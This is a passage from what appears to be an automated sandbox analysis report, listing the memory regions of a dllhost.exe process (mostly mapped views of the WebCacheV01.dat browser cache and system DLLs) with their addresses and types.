"c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 383 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 384 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 385 start_va = 0x700000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 386 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 387 start_va = 0x720000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 388 start_va = 0x730000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000730000" filename = "" Region: id = 389 start_va = 0x740000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 390 start_va = 0x750000 end_va = 0x75ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 391 start_va = 0x760000 end_va = 0x76ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 392 start_va = 0x770000 end_va = 0x77ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 393 start_va = 0x780000 end_va = 0x78ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 394 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 395 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 396 start_va = 0x7b0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 397 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 398 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 399 start_va = 0x7e0000 end_va = 0x7effff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 400 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 401 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 402 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 403 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 404 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 405 start_va = 0x840000 end_va = 0x84ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 406 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 407 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 408 start_va = 0x870000 end_va = 0x877fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 409 start_va = 0x880000 end_va = 0x881fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 410 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 411 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 412 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 413 start_va = 0x8c0000 end_va = 0x8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 414 start_va = 0x8d0000 end_va = 0x9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 415 start_va = 0x9d0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 416 start_va = 0xad0000 end_va = 0xbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 417 start_va = 0xbd0000 end_va = 0xd57fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bd0000" filename = "" Region: id = 418 start_va = 0xd60000 end_va = 0xee0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d60000" filename = "" Region: id = 419 start_va = 0xef0000 end_va = 0x22effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ef0000" filename = "" Region: id = 420 start_va = 0x22f0000 end_va = 0x22fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000022f0000" filename = "" Region: id = 421 start_va = 0x2300000 end_va = 0x230ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002300000" filename = "" Region: id = 422 start_va = 0x2310000 end_va = 0x231ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002310000" filename = "" Region: id = 423 start_va = 0x2320000 end_va = 0x232ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002320000" filename = "" Region: id = 424 start_va = 0x2330000 end_va = 0x233ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002330000" filename = "" Region: id = 425 start_va = 0x2340000 end_va = 0x234ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002340000" filename = "" Region: id = 426 start_va = 0x2350000 end_va = 0x235ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 427 start_va = 0x2370000 end_va = 0x237ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 428 start_va = 0x2380000 end_va = 0x238ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 429 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 430 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 431 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 432 start_va = 0x23c0000 end_va = 0x24bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 433 start_va = 0x25c0000 end_va = 0x28f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 434 start_va = 0x2900000 end_va = 0x38fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 435 start_va = 0x3900000 end_va = 0x398ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003900000" filename = "" Region: id = 436 start_va = 0x3990000 end_va = 0x399ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 437 start_va = 0x39d0000 end_va = 0x39dffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 438 start_va = 0x39e0000 end_va = 0x39effff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 439 start_va = 0x39f0000 end_va = 0x39fffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 440 start_va = 0x3a00000 end_va = 0x3a07fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a00000" filename = "" Region: id = 441 start_va = 0x3a10000 end_va = 0x3a1ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 442 start_va = 0x3a20000 end_va = 0x3a2ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 443 start_va = 0x3a30000 end_va = 0x3a3ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 444 start_va = 0x3a40000 end_va = 0x3a4ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 445 start_va = 0x3a50000 end_va = 0x3a57fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a50000" filename = "" Region: id = 446 start_va = 0x3a60000 end_va = 0x3a6ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 447 start_va = 0x3a80000 end_va = 0x3a8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003a80000" filename = "" Region: id = 448 start_va = 0x3a90000 end_va = 0x3a9ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 449 start_va = 0x3aa0000 end_va = 0x3aaffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 450 start_va = 0x3ab0000 end_va = 0x3abffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 451 start_va = 0x3ac0000 end_va = 0x3acffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 452 start_va = 0x3ad0000 end_va = 0x3adffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 453 start_va = 0x3ae0000 end_va = 0x3aeffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 454 start_va = 0x3af0000 end_va = 0x3afffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 455 start_va = 0x3b00000 end_va = 0x3b0ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 456 start_va = 0x3b10000 end_va = 0x3b1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003b10000" filename = "" Region: id = 457 start_va = 0x3b20000 end_va = 0x3b2ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 458 start_va = 0x3b30000 end_va = 0x3b3ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 459 start_va = 0x3b40000 end_va = 0x3b4ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 460 start_va = 0x3b50000 end_va = 0x3c4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b50000" filename = "" Region: id = 461 start_va = 0x3c50000 end_va = 0x3c5ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 462 start_va = 0x3c60000 end_va = 0x3c6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003c60000" filename = "" Region: id = 463 start_va = 0x3c70000 end_va = 0x3c7ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 464 start_va = 0x3c80000 end_va = 0x3c8ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 465 start_va = 0x3ca0000 end_va = 0x3caffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 466 start_va = 0x3cb0000 end_va = 0x3daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003cb0000" filename = "" Region: id = 467 start_va = 0x3db0000 end_va = 0x3eaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003db0000" filename = "" Region: id = 468 start_va = 0x3fb0000 end_va = 0x40affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003fb0000" filename = "" Region: id = 469 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 470 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 471 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 472 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 473 start_va = 0x7ff7f8d90000 end_va = 0x7ff7f8d96fff monitored = 0 entry_point = 0x7ff7f8d91570 region_type = mapped_file name = "dllhost.exe" filename = "\\Windows\\System32\\dllhost.exe" (normalized: "c:\\windows\\system32\\dllhost.exe") Region: id = 474 start_va = 0x7ffb14670000 end_va = 0x7ffb14684fff monitored = 0 entry_point = 0x7ffb14675740 region_type = mapped_file name = "profext.dll" filename = "\\Windows\\System32\\profext.dll" (normalized: "c:\\windows\\system32\\profext.dll") Region: id = 475 start_va = 0x7ffb18310000 end_va = 0x7ffb18608fff monitored = 0 entry_point = 0x7ffb183d7280 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 476 start_va = 0x7ffb19d70000 end_va = 0x7ffb19ffdfff monitored = 0 entry_point = 0x7ffb19e40f00 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 477 start_va = 0x7ffb1f310000 end_va = 0x7ffb1f691fff monitored = 0 entry_point = 0x7ffb1f361220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 478 start_va = 0x7ffb23aa0000 end_va = 0x7ffb23b35fff monitored = 0 entry_point = 0x7ffb23ac5570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 479 start_va = 0x7ffb24610000 end_va = 0x7ffb24640fff monitored = 0 entry_point = 0x7ffb24617d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 480 start_va = 0x7ffb24880000 end_va = 0x7ffb2489efff monitored = 0 entry_point = 0x7ffb24885d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 481 start_va = 0x7ffb24bc0000 end_va = 0x7ffb24bcafff monitored = 0 entry_point = 0x7ffb24bc19a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 482 start_va = 0x7ffb24fb0000 end_va = 0x7ffb24fd8fff monitored = 0 entry_point = 0x7ffb24fc4530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 483 start_va = 0x7ffb25120000 end_va = 0x7ffb2512efff monitored = 0 entry_point = 0x7ffb25123210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 484 start_va = 0x7ffb25130000 end_va = 0x7ffb2517afff monitored = 0 entry_point = 0x7ffb251335f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 485 start_va = 0x7ffb25180000 end_va = 0x7ffb25193fff monitored = 0 entry_point = 0x7ffb251852e0 